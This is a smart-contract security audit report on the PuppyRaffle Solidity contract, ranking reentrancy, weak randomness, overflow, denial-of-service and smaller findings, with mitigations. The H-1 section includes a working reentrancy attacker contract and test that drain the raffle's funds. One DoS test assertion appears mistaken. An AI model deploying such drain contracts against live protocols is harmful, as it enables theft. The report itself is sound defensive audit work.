PuppyRaffle Audit Report

Version 1.0

Benjamin

January 19, 2024

Protocol Audit Report

Benjamin

January 18, 2024

Prepared by: Benjamin Lead Auditors:

- Benjamin

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants
    * [M-2] Smart contract wallets raffle winners without a `fallback`/`receive` function will block the start of a new contest

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a players at index 0 to incorrectly think that have not entered the raffle
- Gas
  - [G-1] Unchanged state variable should be declared constant or immutable
  - [G-2] Storage variable in a loop should be cached
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of Solidity is not recomemded.
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] State changes are missing events
  - [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be remove

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Benji team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Infor	7
Gas	2
Total	15

Findings

High

[H-1] Reentracy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1          function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11 @>       payable(msg.sender).sendValue(entranceFee);
12 @>       players[playerIndex] = address(0);
13
14         emit RaffleRefunded(playerAddress);
15     }
```

A player who has entered the raffle could have a `fallback/receive` function that call the `PuppyRaffle::refund` again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fee paied by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `Puppyraffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 staringAttackerContractBalance = address(
            attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack

        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting attacker contract balance: ",
            staringAttackerContractBalance
        );
        console.log("Starting contract balance: ",
            startingContractBalance);

```

```
29          console.log(
30              "Ending attacker contract balance: ",
31              address(attackerContract).balance
32          );
33          console.log("Ending contract balance: ", address(puppyRaffle).
                balance);
34      }
```

And this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 attackerIndex;
4      uint256 entranceFee;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1      function refund(uint256 playerIndex) public {
```

```
2           address playerAddress = players[playerIndex];
3           require(
4               playerAddress == msg.sender,
5               "PuppyRaffle: Only the player can refund"
6           );
7           require(
8               playerAddress != address(0),
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11  +       players[playerIndex] = address(0);
12  +       emit RaffleRefunded(playerAddress);
13          payable(msg.sender).sendValue(entranceFee);
14  -       players[playerIndex] = address(0);
15  -       emit RaffleRefunded(playerAddress);
16      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who win the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity block on prevrandao. `block.difficulty` was recently replace with prevandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fee

Description: In solidity version prior to `0.8.0` integer were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar++;
// myVar will be zero
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accummulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permarnently stuck in the contract.

Proof of Concept:

1. Enter the raffle with 4 players
2. Enter 89 more players
3. Withdraw fee using `puppyRaffle.withdrawFees()` the test will revert with the error `PuppyRaffle: There are currently players active!` because the total fees collected is 18600000000000000000 and exceeded the max value of `uint64`.

Place the following code in `PuppyRaffleTest.t.sol`

Code

```
function testFeeOverFlowUint64AndCantWithDraw() public playersEntered {
        uint256 numberOfInitialPlayers = 4;
        uint256 numberOfNewPlayers = 89;
        uint256 FEE_PERCENTAGE = 20;
        uint256 POOL_PRECISION = 100;
        address[] memory newPlayers = new address[](numberOfNewPlayers)
            ;
        for (
            uint256 i = numberOfInitialPlayers + 1;
            i < numberOfNewPlayers + numberOfInitialPlayers + 1;
            i++
        ) {
            newPlayers[i - numberOfInitialPlayers - 1] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * numberOfNewPlayers
            }(
            newPlayers
        );
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        uint256 expectedFee = (entranceFee *
            (numberOfNewPlayers + numberOfInitialPlayers) *
```

```
21                 FEE_PERCENTAGE) / POOL_PRECISION;
22             console.log("The expected fee is: ", expectedFee);
23             puppyRaffle.selectWinner();
24             puppyRaffle.withdrawFees();
25         }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of Openzeppelin for version 0.7.6 of solidity, however you would still have a hardtime with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for the duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 @>       for (uint256 i = 0; i < players.length - 1; i++) {
2              for (uint256 j = i + 1; j < players.length; j++) {
3                  require(
4                      players[i] != players[j],
5                      "PuppyRaffle: Duplicate player"
6                  );
7              }
8          }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the cue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themself a win.

Proof of Concept:

If we have two sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252039 gas
- 2nd 100 players: ~18068129 gas

This is more than thrice expensive for the second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_denialOfService() public {
        vm.txGasPrice(1);
        uint256 numberOfPlayers = 100;
        address[] memory players = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players[i] = address(i);
        }
        // See how much gas it cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );
        // Now for the next 100 players
        address[] memory playersTwo = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            playersTwo[i] = address(i + numberOfPlayers);
        }
        // See how much gas it cost
        uint gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
            playersTwo
        );
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of the second 100 players: ",
            gasUsedSecond);

        assert(gasUsedFirst < gasEndSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallets addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user have already entered

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint public raffleId = 0
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicate
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++){
+       require(addressToRaffleId[newPlayers[i]] != raffleId);
+       }
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-              require(
-                  players[i] != players[j],
-                  "PuppyRaffle: Duplicate player"
-               );
-           }
-       }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart contract wallets raffle winners without a `fallback/receive` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot of gas due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making the lottery reset difficult.

Also, true winners would not get pay out and someone else could take their money

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery end.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (Not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their price (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a players at index 0 to incorrectly think that have not entered the raffle

Description: If a players is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A players at index 0 may incorrectly think that have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not enter correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variable should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Intances:

- `PuppyRaffle::raffleDuration` should be `immunable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas sufficent.

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contract instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PupplyRaffle.sol: 32:23:25

[I-2] Using an outdated version of Solidity is not recomemded.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

‘0.8.18“ The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither]https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity doumentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 76

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 206

```
1          previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 234

```
1          feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -        (bool success, ) = winner.call{value: prizePool}("");
2 -        require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3          _safeMint(winner, tokenId);
4 +        (bool success, ) = winner.call{value: prizePool}("");
```

```
5 +       require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the number are given a name.

Example:

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1         uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2         uint256 public constant FEE_PERCENTAGE = 20;
3         uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

Emit an event before doing any interactions, follow CEI as mentioned in I-4.

```
1 +       players[playerIndex] = address(0);
2 +       emit RaffleRefunded(playerAddress);
3         payable(msg.sender).sendValue(entranceFee);
4 -       players[playerIndex] = address(0);
5 -       emit RaffleRefunded(playerAddress);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be remove